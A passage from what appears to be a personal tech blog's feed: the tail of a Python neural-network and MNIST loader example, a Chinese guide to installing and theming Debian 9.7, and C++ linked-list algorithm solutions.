class="line"><span class="string">        tracking progress, but slows things down substantially.&quot;&quot;&quot;</span></span><br><span class="line">        <span class="keyword">if</span> test_data: n_test = <span class="built_in">len</span>(test_data)</span><br><span class="line">        n = <span class="built_in">len</span>(training_data)</span><br><span class="line">        <span class="keyword">for</span> j <span class="keyword">in</span> xrange(epochs):</span><br><span class="line">            random.shuffle(training_data)</span><br><span class="line">            mini_batches = [</span><br><span class="line">                training_data[k:k+mini_batch_size]</span><br><span class="line">                <span class="keyword">for</span> k <span class="keyword">in</span> xrange(<span class="number">0</span>, n, mini_batch_size)]</span><br><span class="line">            <span class="keyword">for</span> mini_batch <span class="keyword">in</span> mini_batches:</span><br><span class="line">                self.update_mini_batch(mini_batch, eta)</span><br><span class="line">            <span class="keyword">if</span> test_data:</span><br><span class="line">                <span class="built_in">print</span> <span class="string">&quot;Epoch &#123;0&#125;: &#123;1&#125; / &#123;2&#125;&quot;</span>.<span class="built_in">format</span>(</span><br><span class="line">                    j, self.evaluate(test_data), n_test)</span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                <span class="built_in">print</span> <span class="string">&quot;Epoch &#123;0&#125; complete&quot;</span>.<span class="built_in">format</span>(j)</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">update_mini_batch</span>(<span class="params">self, mini_batch, eta</span>):</span></span><br><span class="line">        <span class="string">&quot;&quot;&quot;Update the network&#x27;s weights and biases by applying</span></span><br><span class="line"><span class="string">        gradient descent using backpropagation to a single mini batch.</span></span><br><span class="line"><span class="string">        The ``mini_batch`` is a list of tuples ``(x, y)``, and ``eta``</span></span><br><span class="line"><span class="string">        is the learning rate.&quot;&quot;&quot;</span></span><br><span class="line">        nabla_b = [np.zeros(b.shape) <span class="keyword">for</span> b <span class="keyword">in</span> self.biases]</span><br><span class="line">        nabla_w = [np.zeros(w.shape) <span class="keyword">for</span> w <span class="keyword">in</span> self.weights]</span><br><span class="line">        <span class="keyword">for</span> x, y <span class="keyword">in</span> mini_batch:</span><br><span class="line">            delta_nabla_b, delta_nabla_w = self.backprop(x, y)</span><br><span class="line">            nabla_b = [nb+dnb <span class="keyword">for</span> nb, dnb <span class="keyword">in</span> <span class="built_in">zip</span>(nabla_b, delta_nabla_b)]</span><br><span class="line">            nabla_w = [nw+dnw <span class="keyword">for</span> nw, dnw <span class="keyword">in</span> <span class="built_in">zip</span>(nabla_w, delta_nabla_w)]</span><br><span class="line">        self.weights = [w-(eta/<span class="built_in">len</span>(mini_batch))*nw</span><br><span class="line">                        <span class="keyword">for</span> w, nw <span class="keyword">in</span> <span class="built_in">zip</span>(self.weights, nabla_w)]</span><br><span class="line">        self.biases = [b-(eta/<span class="built_in">len</span>(mini_batch))*nb</span><br><span class="line">                       <span class="keyword">for</span> b, nb <span class="keyword">in</span> <span class="built_in">zip</span>(self.biases, nabla_b)]</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">backprop</span>(<span class="params">self, x, y</span>):</span></span><br><span class="line">        <span class="string">&quot;&quot;&quot;Return a tuple ``(nabla_b, nabla_w)`` representing the</span></span><br><span class="line"><span class="string">        gradient for the cost function C_x.  ``nabla_b`` and</span></span><br><span class="line"><span class="string">        ``nabla_w`` are layer-by-layer lists of numpy arrays, similar</span></span><br><span class="line"><span class="string">        to ``self.biases`` and ``self.weights``.&quot;&quot;&quot;</span></span><br><span class="line">        nabla_b = [np.zeros(b.shape) <span class="keyword">for</span> b <span class="keyword">in</span> self.biases]</span><br><span class="line">        nabla_w = [np.zeros(w.shape) <span class="keyword">for</span> w <span class="keyword">in</span> self.weights]</span><br><span class="line">        <span class="comment"># feedforward</span></span><br><span class="line">        activation = x</span><br><span class="line">        activations = [x] <span class="comment"># list to store all the activations, layer by layer</span></span><br><span class="line">        zs = [] <span class="comment"># list to store all the z vectors, layer by layer</span></span><br><span class="line">        <span class="keyword">for</span> b, w <span class="keyword">in</span> <span class="built_in">zip</span>(self.biases, self.weights):</span><br><span class="line">            z = np.dot(w, activation)+b</span><br><span class="line">            zs.append(z)</span><br><span class="line">            activation = sigmoid(z)</span><br><span class="line">            activations.append(activation)</span><br><span class="line">        <span class="comment"># backward pass</span></span><br><span class="line">        delta = self.cost_derivative(activations[-<span class="number">1</span>], y) * \</span><br><span class="line">            sigmoid_prime(zs[-<span class="number">1</span>])</span><br><span class="line">        nabla_b[-<span class="number">1</span>] = delta</span><br><span class="line">        nabla_w[-<span class="number">1</span>] = np.dot(delta, activations[-<span class="number">2</span>].transpose())</span><br><span class="line">        <span class="comment"># Note that the variable l in the loop below is used a little</span></span><br><span class="line">        <span class="comment"># differently to the notation in Chapter 2 of the book.  Here,</span></span><br><span class="line">        <span class="comment"># l = 1 means the last layer of neurons, l = 2 is the</span></span><br><span class="line">        <span class="comment"># second-last layer, and so on.  It&#x27;s a renumbering of the</span></span><br><span class="line">        <span class="comment"># scheme in the book, used here to take advantage of the fact</span></span><br><span class="line">        <span class="comment"># that Python can use negative indices in lists.</span></span><br><span class="line">        <span class="keyword">for</span> l <span class="keyword">in</span> xrange(<span class="number">2</span>, self.num_layers):</span><br><span class="line">            z = zs[-l]</span><br><span class="line">            sp = sigmoid_prime(z)</span><br><span class="line">            delta = np.dot(self.weights[-l+<span class="number">1</span>].transpose(), delta) * sp</span><br><span class="line">            nabla_b[-l] = delta</span><br><span class="line">            nabla_w[-l] = np.dot(delta, activations[-l-<span class="number">1</span>].transpose())</span><br><span class="line">        <span class="keyword">return</span> (nabla_b, nabla_w)</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">evaluate</span>(<span class="params">self, test_data</span>):</span></span><br><span class="line">        <span class="string">&quot;&quot;&quot;Return the number of test inputs for which the neural</span></span><br><span class="line"><span class="string">        network outputs the correct result. Note that the neural</span></span><br><span class="line"><span class="string">        network&#x27;s output is assumed to be the index of whichever</span></span><br><span class="line"><span class="string">        neuron in the final layer has the highest activation.&quot;&quot;&quot;</span></span><br><span class="line">        test_results = [(np.argmax(self.feedforward(x)), y)</span><br><span class="line">                        <span class="keyword">for</span> (x, y) <span class="keyword">in</span> test_data]</span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">sum</span>(<span class="built_in">int</span>(x == y) <span class="keyword">for</span> (x, y) <span class="keyword">in</span> test_results)</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">cost_derivative</span>(<span class="params">self, output_activations, y</span>):</span></span><br><span class="line">        <span class="string">&quot;&quot;&quot;Return the vector of partial derivatives \partial C_x /</span></span><br><span class="line"><span class="string">        \partial a for the output activations.&quot;&quot;&quot;</span></span><br><span class="line">        <span class="keyword">return</span> (output_activations-y)</span><br><span class="line"></span><br><span class="line"><span class="comment">#### Miscellaneous functions</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">sigmoid</span>(<span class="params">z</span>):</span></span><br><span class="line">    <span class="string">&quot;&quot;&quot;The sigmoid function.&quot;&quot;&quot;</span></span><br><span class="line">    <span class="keyword">return</span> <span class="number">1.0</span>/(<span class="number">1.0</span>+np.exp(-z))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">sigmoid_prime</span>(<span class="params">z</span>):</span></span><br><span class="line">    <span class="string">&quot;&quot;&quot;Derivative of the sigmoid function.&quot;&quot;&quot;</span></span><br><span class="line">    <span class="keyword">return</span> sigmoid(z)*(<span class="number">1</span>-sigmoid(z))</span><br><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">mnist_loader</span></span><br><span class="line"><span class="string">~~~~~~~~~~~~</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">A library to load the MNIST image data.  For details of the data</span></span><br><span class="line"><span class="string">structures that are returned, see the doc strings for ``load_data``</span></span><br><span class="line"><span class="string">and ``load_data_wrapper``.  In practice, ``load_data_wrapper`` is the</span></span><br><span class="line"><span class="string">function usually called by our neural network code.</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#### Libraries</span></span><br><span class="line"><span class="comment"># Standard library</span></span><br><span class="line"><span class="keyword">import</span> cPickle</span><br><span class="line"><span class="keyword">import</span> gzip</span><br><span class="line"></span><br><span class="line"><span class="comment"># Third-party libraries</span></span><br><span class="line"><span class="keyword">import</span> numpy <span class="keyword">as</span> np</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">load_data</span>():</span></span><br><span class="line">    <span class="string">&quot;&quot;&quot;Return the MNIST data as a tuple containing the training data,</span></span><br><span class="line"><span class="string">    the validation data, and the test data.</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    The ``training_data`` is returned as a tuple with two entries.</span></span><br><span class="line"><span class="string">    The first entry contains the actual training images.  This is a</span></span><br><span class="line"><span class="string">    numpy ndarray with 50,000 entries.  Each entry is, in turn, a</span></span><br><span class="line"><span class="string">    numpy ndarray with 784 values, representing the 28 * 28 = 784</span></span><br><span class="line"><span class="string">    pixels in a single MNIST image.</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    The second entry in the ``training_data`` tuple is a numpy ndarray</span></span><br><span class="line"><span class="string">    containing 50,000 entries.  Those entries are just the digit</span></span><br><span class="line"><span class="string">    values (0...9) for the corresponding images contained in the first</span></span><br><span class="line"><span class="string">    entry of the tuple.</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    The ``validation_data`` and ``test_data`` are similar, except</span></span><br><span class="line"><span class="string">    each contains only 10,000 images.</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    This is a nice data format, but for use in neural networks it&#x27;s</span></span><br><span class="line"><span class="string">    helpful to modify the format of the ``training_data`` a little.</span></span><br><span class="line"><span class="string">    That&#x27;s done in the wrapper function ``load_data_wrapper()``, see</span></span><br><span class="line"><span class="string">    below.</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line">    f = gzip.<span class="built_in">open</span>(<span class="string">&#x27;../data/mnist.pkl.gz&#x27;</span>, <span class="string">&#x27;rb&#x27;</span>)</span><br><span class="line">    training_data, validation_data, test_data = cPickle.load(f)</span><br><span class="line">    f.close()</span><br><span class="line">    <span class="keyword">return</span> (training_data, validation_data, test_data)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">load_data_wrapper</span>():</span></span><br><span class="line">    <span class="string">&quot;&quot;&quot;Return a tuple containing ``(training_data, validation_data,</span></span><br><span class="line"><span class="string">    test_data)``. Based on ``load_data``, but the format is more</span></span><br><span class="line"><span class="string">    convenient for use in our implementation of neural networks.</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    In particular, ``training_data`` is a list containing 50,000</span></span><br><span class="line"><span class="string">    2-tuples ``(x, y)``.  ``x`` is a 784-dimensional numpy.ndarray</span></span><br><span class="line"><span class="string">    containing the input image.  ``y`` is a 10-dimensional</span></span><br><span class="line"><span class="string">    numpy.ndarray representing the unit vector corresponding to the</span></span><br><span class="line"><span class="string">    correct digit for ``x``.</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    ``validation_data`` and ``test_data`` are lists containing 10,000</span></span><br><span class="line"><span class="string">    2-tuples ``(x, y)``.  In each case, ``x`` is a 784-dimensional</span></span><br><span class="line"><span class="string">    numpy.ndarry containing the input image, and ``y`` is the</span></span><br><span class="line"><span class="string">    corresponding classification, i.e., the digit values (integers)</span></span><br><span class="line"><span class="string">    corresponding to ``x``.</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    Obviously, this means we&#x27;re using slightly different formats for</span></span><br><span class="line"><span class="string">    the training data and the validation / test data.  These formats</span></span><br><span class="line"><span class="string">    turn out to be the most convenient for use in our neural network</span></span><br><span class="line"><span class="string">    code.&quot;&quot;&quot;</span></span><br><span class="line">    tr_d, va_d, te_d = load_data()</span><br><span class="line">    training_inputs = [np.reshape(x, (<span class="number">784</span>, <span class="number">1</span>)) <span class="keyword">for</span> x <span class="keyword">in</span> tr_d[<span class="number">0</span>]]</span><br><span class="line">    training_results = [vectorized_result(y) <span class="keyword">for</span> y <span class="keyword">in</span> tr_d[<span class="number">1</span>]]</span><br><span class="line">    training_data = <span class="built_in">zip</span>(training_inputs, training_results)</span><br><span class="line">    validation_inputs = [np.reshape(x, (<span class="number">784</span>, <span class="number">1</span>)) <span class="keyword">for</span> x <span class="keyword">in</span> va_d[<span class="number">0</span>]]</span><br><span class="line">    validation_data = <span class="built_in">zip</span>(validation_inputs, va_d[<span class="number">1</span>])</span><br><span class="line">    test_inputs = [np.reshape(x, (<span class="number">784</span>, <span class="number">1</span>)) <span class="keyword">for</span> x <span class="keyword">in</span> te_d[<span class="number">0</span>]]</span><br><span class="line">    test_data = <span class="built_in">zip</span>(test_inputs, te_d[<span class="number">1</span>])</span><br><span class="line">    <span class="keyword">return</span> (training_data, validation_data, test_data)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">vectorized_result</span>(<span class="params">j</span>):</span></span><br><span class="line">    <span class="string">&quot;&quot;&quot;Return a 10-dimensional unit vector with a 1.0 in the jth</span></span><br><span class="line"><span class="string">    position and zeroes elsewhere.  This is used to convert a digit</span></span><br><span class="line"><span class="string">    (0...9) into a corresponding desired output from the neural</span></span><br><span class="line"><span class="string">    network.&quot;&quot;&quot;</span></span><br><span class="line">    e = np.zeros((<span class="number">10</span>, <span class="number">1</span>))</span><br><span class="line">    e[j] = <span class="number">1.0</span></span><br><span class="line">    <span class="keyword">return</span> e</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">&lt;center&gt;来自Neural networks and deep learning CHAP1&lt;/center&gt;</summary>
    
    
    
    <category term="AI" scheme="http://askylin.top/categories/AI/"/>
    
    
    <category term="AI" scheme="http://askylin.top/tags/AI/"/>
    
    <category term="Deep Learning" scheme="http://askylin.top/tags/Deep-Learning/"/>
    
  </entry>
  
  <entry>
    <title>Install&amp;beautify Debian 64-bit on computer</title>
    <link href="http://askylin.top/2019/01/31/Debian/"/>
    <id>http://askylin.top/2019/01/31/Debian/</id>
    <published>2019-01-31T11:18:35.000Z</published>
    <updated>2021-09-20T13:17:53.524Z</updated>
    
    <content type="html"><![CDATA[<hr><h1 id="制作U盘启动盘"><a href="#制作U盘启动盘" class="headerlink" title="制作U盘启动盘"></a>制作U盘启动盘</h1><p>首先使用格式化工具（我使用的是Diskgenius）将U盘彻底格式化，使用UltraISO将debian系统烧录进U盘<br><img src="/2019/01/31/Debian/%E7%83%A7%E5%BD%95%E7%B3%BB%E7%BB%9F.png" class=""><br><img src="/2019/01/31/Debian/%E7%83%A7%E5%BD%95%E7%B3%BB%E7%BB%9F2.png" class=""><br><img src="/2019/01/31/Debian/%E7%83%A7%E5%BD%95%E7%B3%BB%E7%BB%9F3.png" class="" title="选择USB-HDD+"></p><h1 id="划分硬盘空间"><a href="#划分硬盘空间" class="headerlink" title="划分硬盘空间"></a>划分硬盘空间</h1><p>使用Diskgenius将硬盘划分出一个50.86G的未分配空间用于Debian系统的安装<br></p><h1 id="在BIOS设置U盘启动优先"><a href="#在BIOS设置U盘启动优先" class="headerlink" title="在BIOS设置U盘启动优先"></a>在BIOS设置U盘启动优先</h1><p>在电脑开机的时候进入BIOS界面，将开机启动选项选择到EFI启动优先，并将安全选项中security boot关闭，保存选项后重启电脑<br><img src="/2019/01/31/Debian/IMG_20190213_161345.jpg" class=""></p><h1 id="安装Debian-9-7"><a href="#安装Debian-9-7" class="headerlink" title="安装Debian 9.7"></a>安装Debian 9.7</h1><p>进入安装界面，选择图像化安装<br><img src="/2019/01/31/Debian/IMG_20190213_161603.jpg" class=""></p><p>语言一路默认<br><img src="/2019/01/31/Debian/IMG_20190213_161603.jpg" class=""><br><img src="/2019/01/31/Debian/IMG_20190213_161623.jpg" class=""><br><img src="/2019/01/31/Debian/IMG_20190213_161639.jpg" class=""><br><img src="/2019/01/31/Debian/IMG_20190213_162345.jpg" class=""></p><p>主机名默认，设置root密码和用户密码<br><img src="/2019/01/31/Debian/IMG_20190213_162411.jpg" class=""><br><img src="/2019/01/31/Debian/IMG_20190213_162437.jpg" class=""><br><img src="/2019/01/31/Debian/IMG_20190213_162513.jpg" class=""></p><p>磁盘分区，选择划分出来的的空闲空间<br><img src="/2019/01/31/Debian/IMG_20190213_162923.jpg" class=""></p><p>选择<code>Automatically partion the free space</code><br><img src="/2019/01/31/Debian/IMG_20190213_163442.jpg" class=""></p><p>选择<code>All files in one partition</code><br><img src="/2019/01/31/Debian/IMG_20190213_163509.jpg" class=""><br><img src="/2019/01/31/Debian/IMG_20190213_163528.jpg" class=""></p><p>等待安装，出现配置network时，选择<code>yes</code><br><img src="/2019/01/31/Debian/IMG_20190213_164145.jpg" class=""></p><p>我选择了科大源<br><img src="/2019/01/31/Debian/IMG_20190213_164222.jpg" class=""></p><p>等待安装完成，电脑重新启动时拔出U盘，进入Debian系统<br><img src="/2019/01/31/Debian/IMG_20190213_175838.jpg" class=""></p><h1 id="美化系统"><a href="#美化系统" class="headerlink" title="美化系统"></a>美化系统</h1><p>在这里超级推荐一个网站：<br><a href="https://www.gnome-look.org/">https://www.gnome-look.org/</a><br>我是参照一篇博主的文章对Debian系统进行主题美化，MacX样式，<br>以下是链接：<br><a href="https://blog.csdn.net/zyqblog/article/details/80152016">https://blog.csdn.net/zyqblog/article/details/80152016</a></p>]]></content>
    
    
    <summary type="html">&lt;center&gt;双系统安装64位Debian系统&lt;/center&gt;</summary>
    
    
    
    <category term="SystemInstall" scheme="http://askylin.top/categories/SystemInstall/"/>
    
    
    <category term="SystemInstall" scheme="http://askylin.top/tags/SystemInstall/"/>
    
  </entry>
  
  <entry>
    <title>5 LinkListFun()</title>
    <link href="http://askylin.top/2018/10/14/LinklistFun/"/>
    <id>http://askylin.top/2018/10/14/LinklistFun/</id>
    <published>2018-10-14T11:10:27.000Z</published>
    <updated>2021-09-20T13:17:53.717Z</updated>
    
    <content type="html"><![CDATA[<hr><h1 id="Reverse-LinkList"><a href="#Reverse-LinkList" class="headerlink" title="Reverse LinkList"></a>Reverse LinkList</h1><p>描述：反转一个单链表</p><ol><li><p>迭代</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/***** Definition for linklist *****/</span></span><br><span class="line"><span class="comment">/* typedef struct LNode&#123;</span></span><br><span class="line"><span class="comment">Elemtype data;</span></span><br><span class="line"><span class="comment">struct LNode *next;</span></span><br><span class="line"><span class="comment"> * &#125;LNode *linklist</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Solution</span> &#123;</span></span><br><span class="line">    <span class="function"><span class="keyword">public</span> LNode <span class="title">reverseList</span><span class="params">(linklist head)</span> </span>&#123;</span><br><span class="line">        linklist newhead=null;</span><br><span class="line">        linklist now;</span><br><span class="line">        <span class="keyword">while</span>(head!=null)&#123;</span><br><span class="line">            now=head;         <span class="comment">//取头</span></span><br><span class="line">            head=head.next;   <span class="comment">//更新原链头</span></span><br><span class="line">            now.next=newhead; <span class="comment">//插入新链</span></span><br><span class="line">            newhead=now;      <span class="comment">//更新新链头</span></span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> newhead;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></li><li><p>递归</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Solution</span> &#123;</span></span><br><span class="line">    <span class="function"><span class="keyword">public</span> LNode <span class="title">reverseList</span><span class="params">(linklist head)</span> </span>&#123;</span><br><span class="line">         <span class="keyword">if</span>(head==null||head.next==null)<span class="keyword">return</span> head;</span><br><span class="line">         LNode newhead=<span class="built_in">reverseList</span>(head.next);</span><br><span class="line">         head.next.next=head;</span><br><span class="line">         head.next=null;</span><br><span class="line">         <span class="keyword">return</span> newhead;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></li></ol><hr><h1 id="LinkedList-Cycle"><a href="#LinkedList-Cycle" class="headerlink" title="LinkedList Cycle"></a>LinkedList Cycle</h1><p>描述：判断一个链表是否有环</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Definition for singly-linked list.</span></span><br><span class="line"><span class="comment"> * struct ListNode &#123;</span></span><br><span class="line"><span class="comment"> *     int val;</span></span><br><span class="line"><span class="comment"> *     ListNode *next;</span></span><br><span class="line"><span class="comment"> *     ListNode(int x) : val(x), next(NULL) &#123;&#125;</span></span><br><span class="line"><span class="comment"> * &#125;;</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="comment">// 时间复杂度O(n) 空间复杂度O(1) </span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Solution</span> &#123;</span> </span><br><span class="line"><span class="keyword">public</span>: </span><br><span class="line"><span class="function"><span class="keyword">bool</span> <span class="title">hasCycle</span><span class="params">(ListNode *head)</span> </span>&#123; </span><br><span class="line"><span class="comment">// 设计两个指针，一快一慢，快指针与慢指针相遇则有环。</span></span><br><span class="line">ListNode *slow = head, *fast = head; </span><br><span class="line"><span class="keyword">while</span> (fast &amp;&amp; fast-&gt;next) &#123; </span><br><span class="line">slow = slow-&gt;next; </span><br><span class="line">fast = fast-&gt;next-&gt;next; </span><br><span class="line"><span class="keyword">if</span> (slow == fast) <span class="keyword">return</span> <span class="literal">true</span>; </span><br><span class="line">&#125; </span><br><span class="line"><span class="keyword">return</span> <span class="literal">false</span>; </span><br><span class="line">&#125; </span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><hr><h1 id="Merge-Two-Sorted-Lists"><a href="#Merge-Two-Sorted-Lists" class="headerlink" title="Merge Two Sorted Lists"></a>Merge Two Sorted Lists</h1><p>描述：将两个有序链表合并为一个新的有序链表并返回。新链表是通过拼接给定的两个链表的所有节点组成的。 </p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 时间复杂度O(min(m,n)) 空间复杂度O(1) </span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Solution</span> &#123;</span> </span><br><span class="line"><span class="keyword">public</span>: <span class="function">ListNode *<span class="title">mergeTwoLists</span><span class="params">(ListNode *l1, ListNode *l2)</span> </span>&#123; </span><br><span class="line"><span class="keyword">if</span> (l1 == <span class="literal">nullptr</span>) <span class="keyword">return</span> l2; </span><br><span class="line"><span class="keyword">if</span> (l2 == <span class="literal">nullptr</span>) <span class="keyword">return</span> l1; </span><br><span class="line"><span class="function">ListNode <span class="title">dummy</span><span class="params">(<span class="number">-1</span>)</span></span>; <span class="comment">//头结点</span></span><br><span class="line">ListNode *p = &amp;dummy; </span><br><span class="line"><span class="keyword">for</span> (; l1 != <span class="literal">nullptr</span> &amp;&amp; l2 != <span class="literal">nullptr</span>; p = p-&gt;next) &#123; </span><br><span class="line"><span class="keyword">if</span> (l1-&gt;val &gt; l2-&gt;val) &#123; </span><br><span class="line">p-&gt;next = l2; </span><br><span class="line">l2 = l2-&gt;next; </span><br><span class="line">&#125; </span><br><span class="line"><span class="keyword">else</span> &#123; </span><br><span class="line">p-&gt;next = l1; </span><br><span class="line">l1 = l1-&gt;next; </span><br><span class="line">&#125; </span><br><span class="line">&#125; </span><br><span class="line">p-&gt;next = l1 != <span class="literal">nullptr</span> ? l1 : l2; </span><br><span class="line"><span class="keyword">return</span> dummy.next; </span><br><span class="line">&#125; </span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><hr><h1 id="Remove-Nth-Node-From-End-of-List"><a href="#Remove-Nth-Node-From-End-of-List" class="headerlink" title="Remove Nth Node From End of List"></a>Remove Nth Node From End of List</h1><p>描述：给定一个链表，删除链表的倒数第 n 个节点，并且返回链表的头结点。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//设两个指针p,q，让q先走n步，然后p,q一起走，直到q走到尾结点，删除p-&gt;next即可</span></span><br><span class="line"><span class="comment">// 时间复杂度O(n) 空间复杂度O(1) </span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Solution</span> &#123;</span> </span><br><span class="line"><span class="keyword">public</span>: <span class="function">ListNode *<span class="title">removeNthFromEnd</span><span class="params">(ListNode *head, <span class="keyword">int</span> n)</span> </span>&#123; </span><br><span class="line">ListNode dummy&#123;<span class="number">-1</span>, head&#125;; <span class="comment">//头结点</span></span><br><span class="line">ListNode *p = &amp;dummy, *q = &amp;dummy; </span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; n; i++) <span class="comment">// q先走n步 </span></span><br><span class="line">q = q-&gt;next; </span><br><span class="line"><span class="keyword">while</span>(q-&gt;next) &#123; <span class="comment">// 一起走</span></span><br><span class="line">p = p-&gt;next; </span><br><span class="line">q = q-&gt;next; </span><br><span class="line">&#125; </span><br><span class="line">ListNode *tmp = p-&gt;next; </span><br><span class="line">p-&gt;next = p-&gt;next-&gt;next; </span><br><span class="line"><span class="keyword">delete</span> tmp; <span class="keyword">return</span> dummy.next; </span><br><span class="line">&#125; </span><br><span class="line">&#125;;</span><br><span class="line"></span><br></pre></td></tr></table></figure><hr><h1 id="MiddleNode-of-List"><a href="#MiddleNode-of-List" class="headerlink" title="MiddleNode of List"></a>MiddleNode of List</h1><p>描述：给定一个带有头结点head的非空单链表，返回链表的中间结点。如果，有两个中间结点，则返回第二个中间节点。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span 